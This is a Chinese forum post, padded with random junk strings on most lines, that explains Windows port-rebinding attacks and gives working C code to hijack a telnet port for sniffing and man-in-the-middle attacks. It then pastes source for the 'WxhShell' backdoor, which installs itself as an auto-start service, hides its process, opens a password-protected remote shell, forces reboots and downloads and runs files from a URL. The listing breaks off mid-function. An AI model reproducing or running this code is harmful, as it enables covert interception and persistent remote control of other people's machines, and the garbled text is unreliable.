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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >r\q6f#J4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vdIert?p  
? FlQ\q  
  saddr.sin_family = AF_INET; |}><)}  
Zk] /m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :i9=Wj  
!rsGCw!Pg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?>s[B7wMp  
SceK$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J!\oH%FJp  
pf$gvL  
  这意味着什么?意味着可以进行如下的攻击: 4G2iT+X-  
rU9z? (  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ["^? vhv  
$uUR@l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %jJ|4\  
 alH6~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =&I9d;7  
IOT-R!.5V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #w@V!o  
Qo~|[]GE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J'C9}7G  
`0, G' F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t>! Ok  
mg]t)+PQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i_(6} Y&  
|=js!R|  
  #include Ozg,6&3ji  
  #include N 9W,p 2  
  #include fSVb.MZa7  
  #include    ykYef  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m+Kl   
  int main() Ye S5%?Fk  
  { s}F.D^^G  
  WORD wVersionRequested; <?>tjCg'  
  DWORD ret; H<") )EJI  
  WSADATA wsaData; v{SZ(;  
  BOOL val; uJ`:@Z^J  
  SOCKADDR_IN saddr; ua E,F^p  
  SOCKADDR_IN scaddr; rf+Z0C0WYi  
  int err; hdeI/4 B  
  SOCKET s; f?$yxMw:@  
  SOCKET sc; 9ZNzC i!  
  int caddsize; hof>:Rk  
  HANDLE mt; :nOI|\ rC  
  DWORD tid;   [,3E#+y  
  wVersionRequested = MAKEWORD( 2, 2 ); -tIye{  
  err = WSAStartup( wVersionRequested, &wsaData ); iPdS>e e  
  if ( err != 0 ) { lAR1gHhJ  
  printf("error!WSAStartup failed!\n"); V :/v r  
  return -1; I?RUVs  
  } }9kn;rb$g  
  saddr.sin_family = AF_INET; >n3ig~0d  
   p:V1VHT,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2@W`OW Njm  
y+p"5s"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D#P]tt.Z   
  saddr.sin_port = htons(23); Ma4eu8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vi.INe  
  { CG;+Z-"X  
  printf("error!socket failed!\n"); g:Q:cSg<  
  return -1; + }$(j#h  
  } 0V?7'Em  
  val = TRUE; ZUD{V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P?^%i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *j( UAVp  
  { $_3 )m  
  printf("error!setsockopt failed!\n"); *{,}pK2*  
  return -1; X .sOZb?$  
  } 7 0PGbAD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +/ {lz8^,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KZO[>qC"R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eLLOE)x  
Fi/`3A@68  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'P*OzZ4>$  
  { c/^l2CJ0  
  ret=GetLastError(); 4 |bu= T  
  printf("error!bind failed!\n"); fR?'HsQg  
  return -1; &c}2[=  
  } PjofW%7F  
  listen(s,2); I@5$<SN  
  while(1) HQwrb HS  
  { =d+`xN*  
  caddsize = sizeof(scaddr); hXvC>ie(i  
  //接受连接请求 [nG[ x|;|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?9%$g?3Z  
  if(sc!=INVALID_SOCKET) Tq SjL{l%  
  { X#Ob^E%J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v,Zoy|Lu  
  if(mt==NULL) [kTckZv  
  { g}S%D(~  
  printf("Thread Creat Failed!\n"); f:t j   
  break; FY-eoq0O3  
  } yY{  
  } Nv|0Z'M  
  CloseHandle(mt); (&u'S+  
  } rp^:{6O  
  closesocket(s); XD" 4t4~>  
  WSACleanup(); @+1AYVz(k  
  return 0; 6J_$dzw  
  }   :;c`qO4  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2a;[2':  
  { W7;RQ  
  SOCKET ss = (SOCKET)lpParam; 'v@*xF/L6a  
  SOCKET sc; @=%g{  
  unsigned char buf[4096]; VoQhzp6&  
  SOCKADDR_IN saddr; ty:{e]e  
  long num; scTt53v^  
  DWORD val; 4;@L#Pzt  
  DWORD ret; R T~oJ~t;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ta<8~n^?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uH(M@7"6_!  
  saddr.sin_family = AF_INET; |Qb@.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xj9xUun  
  saddr.sin_port = htons(23); *K& $9fah  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) acgx')!c  
  { dWu;F^  
  printf("error!socket failed!\n"); >vR2K^  
  return -1; 6$kh5$[  
  } I0><IaFy  
  val = 100; ef!f4u\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tv Zq):c  
  { $Yp.BE<}  
  ret = GetLastError(); U(Bmffn4Z  
  return -1; 8F'm#0  
  } s}yN_D+V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bj"fUI!dK  
  { :6Tv4ZUvcG  
  ret = GetLastError(); &;`E3$>  
  return -1; u.*}'C>^^v  
  } 4)>S3Yr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KV-h~C  
  { OT$++cj^  
  printf("error!socket connect failed!\n"); JStEOQF4  
  closesocket(sc); ^.  
  closesocket(ss); $pt~?ZZ3-  
  return -1; mB6%. "  
  } Gd'_X D  
  while(1) K r<UPr  
  { 4@Z!?QzW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E$ &bl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +WKN&@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r:Q=6j,  
  num = recv(ss,buf,4096,0); 3.g4X?=zd  
  if(num>0) $dWYu"2C D  
  send(sc,buf,num,0); VS!v7-_N5  
  else if(num==0) I~Qi):&x  
  break; c4r9k-w0E  
  num = recv(sc,buf,4096,0); 1~},}S]id  
  if(num>0) OF )*kiJ  
  send(ss,buf,num,0); yjq|8.L[ G  
  else if(num==0) 0LSJQ9\p  
  break; D #7q3s  
  } H<;~u:;8Q  
  closesocket(ss); ]m7x&N2  
  closesocket(sc); .6I'V3:Kg  
  return 0 ; :h/v"2uDN  
  } o}f$?{)|   
ITEf Q@#jU  
3OY(L`  
========================================================== &}|`h8JA]K  
J\p-5[E  
下边附上一个代码,,WXhSHELL B/^o$i  
l8 $.k5X  
========================================================== \qlz<   
CJw zjH  
#include "stdafx.h" o*"Q{Xh#Qd  
,7DyTeMpN  
#include <stdio.h> 94]i|2qj*  
#include <string.h> y+V>,W)r7  
#include <windows.h> cM4{ e^  
#include <winsock2.h> rY&#g%B6Fp  
#include <winsvc.h> (ip3{d{CT]  
#include <urlmon.h> =Zsxl]h   
e**'[3Y  
#pragma comment (lib, "Ws2_32.lib") /[ft{:#&t  
#pragma comment (lib, "urlmon.lib") z]LVq k  
k,; (`L  
#define MAX_USER   100 // 最大客户端连接数 PnB2a'(^@?  
#define BUF_SOCK   200 // sock buffer <OJqeUo+*\  
#define KEY_BUFF   255 // 输入 buffer $!_}d  
<b\8<mTr  
#define REBOOT     0   // 重启 NS TO\36  
#define SHUTDOWN   1   // 关机 AxF$7J(  
Ul'H(eH.v  
#define DEF_PORT   5000 // 监听端口 \:'6_K  
I)0_0JXs  
#define REG_LEN     16   // 注册表键长度 L/%{,7l<^?  
#define SVC_LEN     80   // NT服务名长度 kA)`i`gt  
#XqiXM~^R  
// 从dll定义API l Ft&cy2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tp }Bz&V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rOj(THoc{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AAKc8 {  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =UWW(^M#[:  
{sj{3Iu  
// wxhshell配置信息 )]<^*b>  
struct WSCFG { hJw]hVYa  
  int ws_port;         // 监听端口 &OEBAtc/  
  char ws_passstr[REG_LEN]; // 口令 {ot6ssT=D  
  int ws_autoins;       // 安装标记, 1=yes 0=no =<zlg~i  
  char ws_regname[REG_LEN]; // 注册表键名 "(kiMo g-  
  char ws_svcname[REG_LEN]; // 服务名 L|1~'Fz#w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tL1\q Qg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yS[HYq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tK'9%yA\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qSD3]Dv"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B<$6Dj%L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o]&P0 b  
5Z"N2D)."  
}; a1[J>  
`0w!&  
// default Wxhshell configuration =4U$9jo!;  
struct WSCFG wscfg={DEF_PORT, CyB4apJ  
    "xuhuanlingzhe", 4!-R&<TLve  
    1, P3Ah1X7W"C  
    "Wxhshell", v |pHbX  
    "Wxhshell", nPl,qcyY  
            "WxhShell Service", ?P#\ CW  
    "Wrsky Windows CmdShell Service", %|f@WxNrU  
    "Please Input Your Password: ", TV0Y{x*~iH  
  1, PGVp1TQ  
  "http://www.wrsky.com/wxhshell.exe", n!lE|if  
  "Wxhshell.exe" [9Tnp]q  
    }; 0AoWw-H6V  
MBU4Awj  
// 消息定义模块 3/(eK%d4Xb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &_j<! 3*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *YX:e@Fm.a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U2~|AkL  
char *msg_ws_ext="\n\rExit."; X &G]ci  
char *msg_ws_end="\n\rQuit."; BJLeE}=H  
char *msg_ws_boot="\n\rReboot..."; nr( C*E  
char *msg_ws_poff="\n\rShutdown..."; knb0_nA  
char *msg_ws_down="\n\rSave to "; 9(_n8br1  
9y} J|z  
char *msg_ws_err="\n\rErr!"; > %Hw008  
char *msg_ws_ok="\n\rOK!"; v:>sS_^  
[biz[ fm  
char ExeFile[MAX_PATH]; +bb-uoZf  
int nUser = 0; wqap~X  
HANDLE handles[MAX_USER]; LcNI$g;}Yf  
int OsIsNt; R? N+./{  
Mpk7$=hjc  
SERVICE_STATUS       serviceStatus; a"Ly9ovW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yfs eX;VX  
)|5mW  
// 函数声明 D4$"02"  
int Install(void); "+ k}#<P4\  
int Uninstall(void); fi&>;0?7  
int DownloadFile(char *sURL, SOCKET wsh); A8AeM `  
int Boot(int flag); 1-.i^Hal  
void HideProc(void); R mo'3  
int GetOsVer(void); 4<5*HpW  
int Wxhshell(SOCKET wsl); AP4s_X+=  
void TalkWithClient(void *cs); :`<MlX  
int CmdShell(SOCKET sock); Bi"cWO  
int StartFromService(void); e ^`La*n  
int StartWxhshell(LPSTR lpCmdLine); h7m$P^=U  
&Wk:>9]Jrb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ Yo*h"s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9\kEyb$F=  
~(`MP<  
// 数据结构和表定义 F< dhG>E9  
SERVICE_TABLE_ENTRY DispatchTable[] = O@:R\MwFOZ  
{ X76rme  
{wscfg.ws_svcname, NTServiceMain}, _6]CT0  
{NULL, NULL} rTJ;s  
}; "avG#rsH  
R?}%rP+^e  
// 自我安装 }?O>.W,/  
int Install(void) B2WPbox  
{ /R6\_oM  
  char svExeFile[MAX_PATH]; .R@XstQ  
  HKEY key; _=cuOo"!  
  strcpy(svExeFile,ExeFile); 55,2eg#{O  
`>lY$EBG@[  
// 如果是win9x系统,修改注册表设为自启动 wNNg"}&P  
if(!OsIsNt) { 77]lp mC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tZ*>S]qD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lACS^(  
  RegCloseKey(key); (&_^1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {7 ](-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a'*~E ?b  
  RegCloseKey(key); whGtVx|zR  
  return 0; SK*<H~2  
    } X2P8Zq=%a  
  } ldRq:M5z  
} /L2.7`5  
else { &k`lb kq  
Q]dKyMSSA  
// 如果是NT以上系统,安装为系统服务 )<e,-XujY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ws U@hqS  
if (schSCManager!=0) z$(`{ o%a  
{ J$`5KbT3  
  SC_HANDLE schService = CreateService -afNiNiY  
  ( q!Z{qt*`um  
  schSCManager, e{^lD.E  
  wscfg.ws_svcname, '?3(&  
  wscfg.ws_svcdisp, y7'9KQ  
  SERVICE_ALL_ACCESS, Sg\+al7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SxkY ;^-U  
  SERVICE_AUTO_START, 7$*x&We  
  SERVICE_ERROR_NORMAL, rf!i?vAe  
  svExeFile, wX <ov0?[  
  NULL, EQ"+G[j~x  
  NULL, A+fXt`YNM  
  NULL, !?K#f?x<?  
  NULL, ' wp _U /  
  NULL "wxyY^"  
  ); H5CL0#I  
  if (schService!=0) LF+E5{=:R  
  { a?X@ D<.;  
  CloseServiceHandle(schService); V%`\x\Xat  
  CloseServiceHandle(schSCManager); Ac}5,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \#C]|\  
  strcat(svExeFile,wscfg.ws_svcname); i7&ay\+@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DJ1!Xuu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ws$kwSHq  
  RegCloseKey(key); xA0=C   
  return 0; ke2M&TV  
    } UunZ/A$]m  
  } .B!  Z0  
  CloseServiceHandle(schSCManager); {CX06BP  
} e=_Ng j)  
} pTH5-l_f ]  
jFI`CA6P  
return 1; s;[WN.  
} L9!\\U  
DIkf#}  
// 自我卸载 fW=eB'Sl  
int Uninstall(void) 7IrH(~Fo  
{ 3A.lS+P1  
  HKEY key; :+8qtIytKX  
{?r5~ T`2  
if(!OsIsNt) { Sj v iH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uu/2C \n}  
  RegDeleteValue(key,wscfg.ws_regname); Ve xxdg  
  RegCloseKey(key); yMpZ-b$*~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \86NV="U  
  RegDeleteValue(key,wscfg.ws_regname); |:L}/onK  
  RegCloseKey(key); v"_E0 3!  
  return 0; <2N=cH'  
  } u $D%Iz  
} [7,q@>:CS  
} _auFt"n  
else { ~*e@^Nv)v  
gIKQip<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3MDs?qx>s  
if (schSCManager!=0) tCv}+7)   
{ F4IU2_CnPD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $M$-c{>s  
  if (schService!=0) I2,AT+O<  
  { [* |+ it+!  
  if(DeleteService(schService)!=0) { }-T,cA_H|  
  CloseServiceHandle(schService); HK VtO%&  
  CloseServiceHandle(schSCManager); }q,dJE  
  return 0; n(sseQ|\  
  } \Qf2:[-V0  
  CloseServiceHandle(schService); 1I40N[PE)  
  } bYr*rEcA  
  CloseServiceHandle(schSCManager); F'T.-lEO_d  
} X3?RwN:P  
} Zb:Z,O(vn  
D[Q/:_2l  
return 1; 2G_]Y8  
} MHA_b^7?  
\p^'[B(O77  
// 从指定url下载文件 thE9fr/  
int DownloadFile(char *sURL, SOCKET wsh) d)d0,fi?-  
{ v[)8 1uY  
  HRESULT hr; TYCjVxfu$  
char seps[]= "/"; Q(x/&]7=V  
char *token; 0g#xQzE  
char *file; }L=Qp=4  
char myURL[MAX_PATH]; ,vAcri 97  
char myFILE[MAX_PATH]; `v)ZOw9&  
lAkg47i  
strcpy(myURL,sURL); \mWH8Z }Z  
  token=strtok(myURL,seps); 1*.*\4xo  
  while(token!=NULL) o/& IT(v  
  { Lb{.}  
    file=token; rE0%R+4?  
  token=strtok(NULL,seps); 5kojh _\  
  } wVX2.D'n<  
r;+a%?P  
GetCurrentDirectory(MAX_PATH,myFILE); b.RFvq5Z  
strcat(myFILE, "\\"); 3PlIn0+LX  
strcat(myFILE, file); ?%n"{k?#  
  send(wsh,myFILE,strlen(myFILE),0); Ar<!F/  
send(wsh,"...",3,0); ex66GJQe1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xqQK-?k  
  if(hr==S_OK) ~.tYYX<  
return 0; l(\F2_,2W  
else tYhcoV  
return 1; g{f7 } gTG  
!7p&n3dz  
} QlS_{XV  
s'bTP(wl9  
// 系统电源模块 5=R]1YI~$  
int Boot(int flag)  GInw7  
{ ZZi|0dG4;  
  HANDLE hToken; EK&0Cn3z  
  TOKEN_PRIVILEGES tkp; )JJF}m=  
vin3 i&k  
  if(OsIsNt) { ,H1K sN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }F|B'[wn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hE<Sm*HU  
    tkp.PrivilegeCount = 1; EV7lgKM^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &xp]9$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E'NS$,h  
if(flag==REBOOT) { 2jxIr-a1G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }(,{^".[}  
  return 0; X#zp,7j?  
} 0& ?L%Y  
else { M27H{} v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u4bVp+  
  return 0; qh6rMqq  
} NK'@.=$  
  } Sh?eb  
  else { T|0d2aa  
if(flag==REBOOT) { f>|<5zm#<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ {6l}  
  return 0; LF#[$ so{i  
} B#cN'1c  
else { 1g jGaC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %F^,6y  
  return 0;  +cKOIMu9  
} #on ,;QN  
} kt=& mq/B  
^a Q&.q  
return 1; &I%E8E  
} }D.\2x(J  
X5)(,036  
// win9x进程隐藏模块 Kr;=4xg=  
void HideProc(void) G*jq5_6  
{ +L@\/=;G  
<lLJf8OK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M?GkHJ%!  
  if ( hKernel != NULL ) ia3!&rZ  
  { rm-;Z<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ).A9>^6?{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @th94tk,  
    FreeLibrary(hKernel); :8HVq*itS  
  } [rL 8L6,!  
D@:'*Z(  
return; _pDfPLlY&  
} dCo3VF"u  
yH>C7M7 t  
// 获取操作系统版本 wNn=JzP  
int GetOsVer(void) Pn6~66a6  
{ %(W8W Lz}  
  OSVERSIONINFO winfo; *)Cr1d k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yqVoedN  
  GetVersionEx(&winfo); ),[@NK&=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `xx3JQv[  
  return 1; &]shBvzl^  
  else (E,Ibz2G:e  
  return 0; h=JW^\?\]  
} >5?:iaq z  
7[UD;&\k  
// 客户端句柄模块 q ]VB}nO  
int Wxhshell(SOCKET wsl) gNc;P[  
{ gS@<sO$d>  
  SOCKET wsh; y.6/x?Qc  
  struct sockaddr_in client; .wyuB;:  
  DWORD myID; $G5:/,Q  
.U44p*I  
  while(nUser<MAX_USER) S#r|?GYua  
{ es~1@Jb  
  int nSize=sizeof(client); 3^xq+{\)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +l.LwA  
  if(wsh==INVALID_SOCKET) return 1; cc:$$_'L  
< (B|g&A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #S x  
if(handles[nUser]==0) ^!0z+M:>^  
  closesocket(wsh); wG9aX*(n  
else 9qgs*]J  
  nUser++; `@v;QLD"d<  
  } 4>a(!h t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f-ceDn  
9%"`9j~H>  
  return 0; 1uCF9P ai  
} /wl]kGF  
>(wQx05^D  
// 关闭 socket I|qhj*_C  
void CloseIt(SOCKET wsh) z Tz_"N I  
{ }/,Rp/+7]  
closesocket(wsh); ~P"Agpx3u  
nUser--; RA;/ ?l  
ExitThread(0); -sZb+2tDa  
} Li"+`  
W&&|T;P<J  
// 客户端请求句柄 A~lc`m-  
void TalkWithClient(void *cs) E*wG5] at  
{ #z<# oC5  
mfS}+_ C  
  SOCKET wsh=(SOCKET)cs; eU,F YJt9  
  char pwd[SVC_LEN]; CV_M |  
  char cmd[KEY_BUFF];  OK8Ho"  
char chr[1]; cofdDHXfQI  
int i,j; NO@`*:.^Y  
}f14# y;  
  while (nUser < MAX_USER) { xkax  
i3Bpim.  
if(wscfg.ws_passstr) { DwZRx@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); URg;e M#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :#35mBe}k  
  //ZeroMemory(pwd,KEY_BUFF); w0lgB%97p  
      i=0; (Y8 LyY  
  while(i<SVC_LEN) { dr+(C[=  
vt^7:! r  
  // 设置超时 sQ,xTWdj  
  fd_set FdRead; lX)AbK]nb  
  struct timeval TimeOut; E2YVl%.  
  FD_ZERO(&FdRead); Y6Cm PxOQ  
  FD_SET(wsh,&FdRead); oP%5ymL%J  
  TimeOut.tv_sec=8; 0"T/a1S7bl  
  TimeOut.tv_usec=0; &v t)7[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o3GkTn O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G5K?Q+n   
"DfjUk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (V\N1T,f  
  pwd=chr[0]; 5u;//Cm  
  if(chr[0]==0xd || chr[0]==0xa) { ,(zV~-:9  
  pwd=0; HLG5SS7  
  break; \w>Rmf'|  
  } 1K<}  
  i++; wy#>Aq  
    } &Tj7qlP\  
jZPGUoRLg  
  // 如果是非法用户,关闭 socket 5pe)CjE:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WZPj?ou`G  
} cs.t#C  
xW*Lceb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qsbV)c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PREGQ0  
dE_"|,:  
while(1) { .UQ|k,,t  
doHE]gC2Uz  
  ZeroMemory(cmd,KEY_BUFF); qe&B$3D|  
bv'>4a  
      // 自动支持客户端 telnet标准   law$LL  
  j=0; kp*!  
  while(j<KEY_BUFF) { JGTsVa2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m"'LT0nur  
  cmd[j]=chr[0]; US(RWXyg  
  if(chr[0]==0xa || chr[0]==0xd) { *<y9.\z Y<  
  cmd[j]=0; DB-79U%W  
  break; .5o~^  
  } 8Q$WwiS  
  j++; f!R7v|j P  
    } %;v~MC @  
nKS*y*  
  // 下载文件 "aCB}  
  if(strstr(cmd,"http://")) { #k|f>D4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @6tczU}ak  
  if(DownloadFile(cmd,wsh)) ;-@: }/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6SH0 y  
  else 5QuRwu_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +y8Y@e}>  
  } WysWg7,r  
  else { fRLA;1va  
=xRD %Z  
    switch(cmd[0]) { xH{-UQ3R  
  '@ Y@Fs  
  // 帮助 f^lcw  
  case '?': { rTR"\u7&H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KCw  
    break; jX8)Ov5Mv  
  } fW+ "Kuw  
  // 安装 a{Y|`*7y  
  case 'i': { 3en6 7l  
    if(Install()) }u3|w0~c)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fxoEK}TM  
    else 0E!-G= v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `'<$N<!  
    break; {}ADsh@7d'  
    } 5$'[R ;r  
  // 卸载 tzGQo5\  
  case 'r': { `4'=&c9  
    if(Uninstall()) R2a99#J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R@z`  
    else ;hO6 p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _.V5-iN  
    break; ~5%3]  
    } JZ`h+fAt  
  // 显示 wxhshell 所在路径 g =Xy{Vm  
  case 'p': { |C z7_Rn  
    char svExeFile[MAX_PATH]; )1M2}11uS  
    strcpy(svExeFile,"\n\r"); ,3T"fT-(  
      strcat(svExeFile,ExeFile); Uoe;=P@  
        send(wsh,svExeFile,strlen(svExeFile),0); P658 XKE  
    break; {R(CGrI  
    } {cOx0=  
  // 重启 7`t"fS  
  case 'b': { >| ,`E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _v0iH   
    if(Boot(REBOOT)) k89N}MA   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); abUO3 Y{  
    else { IJ2'  
    closesocket(wsh); {TpbUj0  
    ExitThread(0); 76@W:L*J$J  
    } `G\Gk|4; 2  
    break; BQ Vro;#Jc  
    } l`N#~<.  
  // 关机 %\sE\]K  
  case 'd': { YCltS!k  
